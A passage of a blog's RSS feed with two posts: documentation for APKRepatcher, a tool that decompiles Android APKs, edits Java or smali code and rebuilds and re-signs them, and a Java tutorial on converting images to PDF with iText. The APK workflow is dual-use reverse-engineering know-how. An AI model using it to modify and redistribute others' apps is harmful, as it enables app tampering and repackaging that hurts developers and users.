&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;Download APKRepatcher:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 18px;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;a href=&quot;https://github.com/csanuragjain/APKRepatcher/releases/&quot;&gt;https://github.com/csanuragjain/APKRepatcher/releases/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-family: times new roman, serif; font-size: 18px;&quot;&gt;[OR] &lt;a href=&quot;https://sourceforge.net/projects/apkrepatcher/&quot;&gt;https://sourceforge.net/projects/apkrepatcher/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Project Git Location:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;a href=&quot;https://github.com/csanuragjain/APKRepatcher&quot;&gt;https://github.com/csanuragjain/APKRepatcher&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;GUI Menus:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;File&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Open apk (CTRL+O)- Takes the input apk which need to be modified and extracts it inside &amp;lt;APKRepatcher_Software_Dir&amp;gt;/Projects/&amp;lt;APK_NAME_FOLDER&amp;gt;/&lt;/li&gt;
&lt;li&gt;Open Project (CTRL+P)– You can reopen the project created from open apk anytime using this feature. Just point it to &amp;lt;APK_NAME_FOLDER&amp;gt; inside Projects directory.&lt;/li&gt;
&lt;li&gt;Compile &amp;amp; Save (CTRL+S) – Saves &amp;amp; Compile the java code which is currently shown on the GUI editor.&lt;/li&gt;
&lt;li&gt;Build APK (CTRL+B) – Recreates a newly signed apk with the changed code.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Edit&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Increase Code FontSize (CTRL+I) – Allows you to increase font size of shown code.&lt;/li&gt;
&lt;li&gt;Decrease Code FontSize (CTRL+D) – Allows you to decrease the font size of shown code.&lt;/li&gt;
&lt;li&gt;Remove all tabs – Removes all currently shown tabs.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Extra&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Extract APK-APKTool – User can provide any apk for extraction using this option&lt;/li&gt;
&lt;li&gt;Convert Dex to Jar – User can convert any of dex file to jar format using this option&lt;/li&gt;
&lt;li&gt;Convert Dex to Class – User can convert any of dex file to class file using this option&lt;/li&gt;
&lt;li&gt;Convert Jar/Class to Dex – User can convert any of jar/class file to dex format using this option&lt;/li&gt;
&lt;li&gt;Convert Class to Smali – User can convert any of class file to smali format using this option&lt;/li&gt;
&lt;li&gt;Convert Smali to Class – User can convert any of smali file to class format using this option&lt;/li&gt;
&lt;li&gt;Convert Smali to Java – User can convert any of smali file to java format using this option&lt;/li&gt;
&lt;li&gt;Convert Dex to Smali – User can convert any of dex file to smali format using this option&lt;/li&gt;
&lt;li&gt;Convert Smali to Dex – User can convert any of smali file to dex format using this option&lt;/li&gt;
&lt;li&gt;Convert Dex/Jar to Java – User can convert any of dex/jar file to java format using this option&lt;/li&gt;
&lt;li&gt;Sign your apk – User can resign any apk using this option&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Advanced&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Edit Smali using current code – Rewrite the smali version of the currently visible java code. This features requires the java code to be compilable in order to convert to smali.&lt;/li&gt;
&lt;li&gt;Edit Smali using original APK – This features opens the smali version of the java class from the original apk. Since it is extracted from original apk so no need of current java code to be compilable&lt;/li&gt;
&lt;li&gt;Save and apply smali changes – After you have edited smali code, you need to save it so that it gets reflected in modified apk.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Settings&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Change Memory Allocation – User is allowed to change the amount of memory reserved by APKRepatcher. Default is 1500mb or 1.5 GB&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Help&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Update Software – Helps you to update the current software if any update is available&lt;/li&gt;
&lt;li&gt;How to use APKRepatcher – Contains the documentation of APKRepatcher.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Toolbar&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Allows you to find in current code/replace/replaceAll/find all class&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Extra Software Content:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;APKRepatcher_lib Folder&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;It comes along with the software&lt;/li&gt;
&lt;li&gt;Contains the helper jars used by program&lt;/li&gt;
&lt;li&gt;APKRepatcher_lib\userLibrary is automatically added in classpath while compiling code. If you wish to compile your code using external jars then place those external jars inside APKRepatcher_lib\userLibrary&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Settings.txt File&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Contains the memory utilized by APKRepatcher.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;b style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;Software Screenshot:&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidBo5lFNXEX3kOcUmsyQWOWLlOq-WteYShn1XjKLUJZ7-3V8iJLDEpmyXG1RaDOLFm8sT58J3d_v2nFSQKHHUbGZBGimumxywBFuVNcQ-UZkp8fKJq5mUhZq7nXd3Vv_8hgbpxrbnPxHAC/s1600/Screenshot.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;276&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidBo5lFNXEX3kOcUmsyQWOWLlOq-WteYShn1XjKLUJZ7-3V8iJLDEpmyXG1RaDOLFm8sT58J3d_v2nFSQKHHUbGZBGimumxywBFuVNcQ-UZkp8fKJq5mUhZq7nXd3Vv_8hgbpxrbnPxHAC/s640/Screenshot.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;Things to Remember:&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The default memory allocated to APKRepatcher is 1500mb which can be changed simply using Settings -&amp;gt; Change Memory Allocation&lt;/li&gt;
&lt;li&gt;You can add external library while compiling your code by simply placing them under&amp;nbsp;APKRepatcher_lib\userLibrary folder&lt;/li&gt;
&lt;li&gt;You can also use APKRepatcher for converting dex/jar/class/smali/java from one format to another.&lt;/li&gt;
&lt;li&gt;Patch a module - Assume a class is non compilable because of certain modules used, but you wish to change one of methods which does not have any issue. In this case you can remove the non compilable methods, keeping only your changed method. Now select edit smali for current code under Advanced. You will obtain the smali version for your java module. Now choose Advanced -&amp;gt; edit smali using original apk. Replace your modified module in the original apk smali and then click on Advanced -&amp;gt; save and apply changes. When you build the project, it would patch the module. So you are saved from the errors :)&lt;/li&gt;
&lt;li&gt;You can always increase or decrease the font size of the code using hotkeys or from Edit section&lt;/li&gt;
&lt;li&gt;Don&#39;t forget to build the apk after you made your changes. It will create the new apk.&lt;/li&gt;
&lt;li&gt;All projects are stored in the Projects directory which comes along with the software.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;b style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;Tutorial:&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Open APKRepatcher using java -jar&amp;nbsp;APKRepatcher.jar&lt;/li&gt;
&lt;li&gt;Click on File -&amp;gt; Open APK&lt;/li&gt;
&lt;li&gt;Choose the apk you wish to change&lt;/li&gt;
&lt;li&gt;Open the package from the left pane and double click on the java file you want to edit.&lt;/li&gt;
&lt;li&gt;Once java file opens in editor, just make the required changes.&lt;/li&gt;
&lt;li&gt;After you made the changes, click on File -&amp;gt; Compile &amp;amp; Save&lt;/li&gt;
&lt;li&gt;If compilation fails, you will see the errors in the console view.&lt;/li&gt;
&lt;li&gt;Fix them and compile again&lt;/li&gt;
&lt;li&gt;Once compilation succeeds, you click on File -&amp;gt; Build APK&lt;/li&gt;
&lt;li&gt;If build succeeds, you would see the new apk created.&lt;/li&gt;
&lt;li&gt;If you are unable to compile your class, and want to make changes directly to smali then you can click on Advanced -&amp;gt; edit smali using original apk (which will open the current code smali from the original apk) and make the edits and then click on Advanced -&amp;gt; save and apply. After that you can click on File -&amp;gt; Build APK&lt;/li&gt;
&lt;li&gt;Assume a class is non compilable because of certain modules used, but you wish to change one of methods which does not have any issue. In this case you can remove the non compilable methods, keeping only your changed method. Now select edit smali for current code under Advanced. You will obtain the smali version for your java module. Now choose Advanced -&amp;gt; edit smali using original apk. Replace your modified module in the original apk smali and then click on Advanced -&amp;gt; save and apply changes. When you build the project, it would patch the module. So you are saved from the errors&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;b&gt;Note: This software is meant for educational purpose only. Don&#39;t use it for any illegal activity.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;b style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;
&lt;/b&gt;

&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/03/apkrepatcher-now-decompile-recompile.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidBo5lFNXEX3kOcUmsyQWOWLlOq-WteYShn1XjKLUJZ7-3V8iJLDEpmyXG1RaDOLFm8sT58J3d_v2nFSQKHHUbGZBGimumxywBFuVNcQ-UZkp8fKJq5mUhZq7nXd3Vv_8hgbpxrbnPxHAC/s72-c/Screenshot.PNG" height="72" width="72"/><thr:total>42</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-1771945924412032902</guid><pubDate>Sat, 18 Mar 2017 13:03:00 +0000</pubDate><atom:updated>2017-03-18T06:03:59.856-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">convert</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">itext</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">pdf</category><title>Image to PDF using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This blog post will allow you to convert your images from either your local system or from URL into pdf format using java code. This will make use of itextpdf library.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Location:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/Image2PDF&quot;&gt;https://github.com/csanuragjain/extra/tree/master/Image2PDF&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;POM Dependency:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;  &amp;lt;dependency&amp;gt;  
       &amp;lt;groupId&amp;gt;com.itextpdf&amp;lt;/groupId&amp;gt;  
       &amp;lt;artifactId&amp;gt;itextpdf&amp;lt;/artifactId&amp;gt;  
       &amp;lt;version&amp;gt;5.0.6&amp;lt;/version&amp;gt;  
       &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;  
  &amp;lt;/dependency&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;

&lt;i&gt;main method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void main(String[] args) {  
           Scanner s =new Scanner(System.in);  
           System.out.println(&quot;Please provide the path of image&quot;);  
           String imgPath=s.nextLine();  
           System.out.println(&quot;Please provide the path of pdf&quot;);  
           String pdfPath=s.nextLine();  
           boolean isValidURL=false;  
           URL url;  
           try {  
             url = new URL(imgPath);  
             isValidURL=true;  
           } catch (MalformedURLException e) {  
           }  
           new ImageToPDF().imageToPdf(imgPath, pdfPath, isValidURL);  
           s.close();  
           System.out.println(&quot;PDF created...&quot;);
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;We create a scanner object to get user input.&lt;/li&gt;
&lt;li&gt;We obtain the source path of image and pdf to be created.&lt;/li&gt;
&lt;li&gt;We check if the source path of image is a url or is coming from user local computer. We do this by making a URL class object with the image path passed. If the URL is valid then we update isValidURL to true else false.&lt;/li&gt;
&lt;li&gt;Now we call the imagetoPDF method which actually converts the image to pdf.&lt;/li&gt;
&lt;li&gt;First argument is the path of image. Second one is the path of pdf. Third argument tell if the image is coming from a URL or from user local computer.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;i&gt;imageToPdf method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public void imageToPdf(String imgPath, String pdfPath, boolean isValidURL)  
      {  
           Document document= new Document(PageSize.A4);  
           FileOutputStream fos;  
           try {  
                fos = new FileOutputStream(new File(pdfPath));  
                PdfWriter writer = PdfWriter.getInstance(document, fos);  
                writer.open();  
             document.open();  
             if(isValidURL)  
             {  
                  Image img=Image.getInstance(new java.net.URL(imgPath));  
                  float scaler = ((document.getPageSize().getWidth() - document.leftMargin()  
                   - document.rightMargin()) / img.getWidth()) * 100;  
                  img.scalePercent(scaler);  
                  document.add(img);  
             }  
             else  
             {  
                  Image img=Image.getInstance(imgPath);  
                  float scaler = ((document.getPageSize().getWidth() - document.leftMargin()  
                   - document.rightMargin()) / img.getWidth()) * 100;  
                  img.scalePercent(scaler);  
                  document.add(img);  
             }  
             document.close();  
             writer.close();  
           } catch (FileNotFoundException e) {  
                System.out.println(&quot;File not found &quot;+e.getMessage());  
           } catch (DocumentException e) {  
                System.out.println(&quot;Document exception &quot;+e.getMessage());  
           } catch (MalformedURLException e) {  
                System.out.println(&quot;Incorrect path given &quot;+e.getMessage());  
           } catch (IOException e) {  
                System.out.println(&quot;Issue while accessing the input file &quot;+e.getMessage());  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;We make a document object and pass&amp;nbsp;PageSize.A4 which simply tells that resulting pdf has A4 size page.&lt;/li&gt;
&lt;li&gt;We create a PDFWriter object passing the document we created in step1 and a&amp;nbsp;FileOutputStream object pointing to the pdf file to be created as argument. PDFWriter will be responsible of actually writing on the pdf.&lt;/li&gt;
&lt;li&gt;We open the writer object and document object.&lt;/li&gt;
&lt;li&gt;Now we prepare the document by adding the image to it. For this we use the add function on document.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;We resized the image using&amp;nbsp;scalePercent so that image does not become larger than pdf.&lt;/li&gt;
&lt;li&gt;We close the document and writer which ultimately completes the process and pdf is created.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; #1  
 Please provide the path of image  
 screen1.jpg  
 Please provide the path of pdf  
 screen1.pdf  
 PDF created...  
 #2  
 Please provide the path of image  
 https://ul-a.akamaihd.net/images/products/94427/product/Apollo_Infinite_FNSF51APMI30000SAAAA.jpg?1467964020  
 Please provide the path of pdf  
 abc.pdf  
 PDF created...  
&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.io.File;  
 import java.io.FileNotFoundException;  
 import java.io.FileOutputStream;  
 import java.io.IOException;  
 import java.net.MalformedURLException;  
 import java.net.URL;  
 import java.util.Scanner;  
 import com.itextpdf.text.Document;  
 import com.itextpdf.text.DocumentException;  
 import com.itextpdf.text.Image;  
 import com.itextpdf.text.PageSize;  
 import com.itextpdf.text.pdf.PdfWriter;  
 public class ImageToPDF {  
      /**  
       * @param args  
       */  
      public static void main(String[] args) {  
           Scanner s =new Scanner(System.in);  
           System.out.println(&quot;Please provide the path of image&quot;);  
           String imgPath=s.nextLine();  
           System.out.println(&quot;Please provide the path of pdf&quot;);  
           String pdfPath=s.nextLine();  
           boolean isValidURL=false;  
           URL url;  
           try {  
             url = new URL(imgPath);  
             isValidURL=true;  
           } catch (MalformedURLException e) {  
           }  
           new ImageToPDF().imageToPdf(imgPath, pdfPath, isValidURL);  
           s.close();  
           System.out.println(&quot;PDF created...&quot;);  
      }  
      public void imageToPdf(String imgPath, String pdfPath, boolean isValidURL)  
      {  
           Document document= new Document(PageSize.A4);  
           FileOutputStream fos;  
           try {  
                fos = new FileOutputStream(new File(pdfPath));  
                PdfWriter writer = PdfWriter.getInstance(document, fos);  
                writer.open();  
             document.open();  
             if(isValidURL)  
             {  
                  Image img=Image.getInstance(new java.net.URL(imgPath));  
                  float scaler = ((document.getPageSize().getWidth() - document.leftMargin()  
                   - document.rightMargin()) / img.getWidth()) * 100;  
                  img.scalePercent(scaler);  
                  document.add(img);  
             }  
             else  
             {  
                  Image img=Image.getInstance(imgPath);  
                  float scaler = ((document.getPageSize().getWidth() - document.leftMargin()  
                   - document.rightMargin()) / img.getWidth()) * 100;  
                  img.scalePercent(scaler);  
                  document.add(img);  
             }  
             document.close();  
             writer.close();  
           } catch (FileNotFoundException e) {  
                System.out.println(&quot;File not found &quot;+e.getMessage());  
           } catch (DocumentException e) {  
                System.out.println(&quot;Document exception &quot;+e.getMessage());  
           } catch (MalformedURLException e) {  
                System.out.println(&quot;Incorrect path given &quot;+e.getMessage());  
           } catch (IOException e) {  
                System.out.println(&quot;Issue while accessing the input file &quot;+e.getMessage());  
           }  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Hope it helps :)&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/03/image-to-pdf-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>0</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-8194311130337083475</guid><pubDate>Sat, 04 Mar 2017 08:52:00 +0000</pubDate><atom:updated>2017-03-04T00:52:25.316-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">crawler</category><category domain="http://www.blogger.com/atom/ns#">decode</category><category domain="http://www.blogger.com/atom/ns#">decoding</category><category domain="http://www.blogger.com/atom/ns#">downloader</category><category domain="http://www.blogger.com/atom/ns#">encode</category><category domain="http://www.blogger.com/atom/ns#">encoding</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">url</category><category 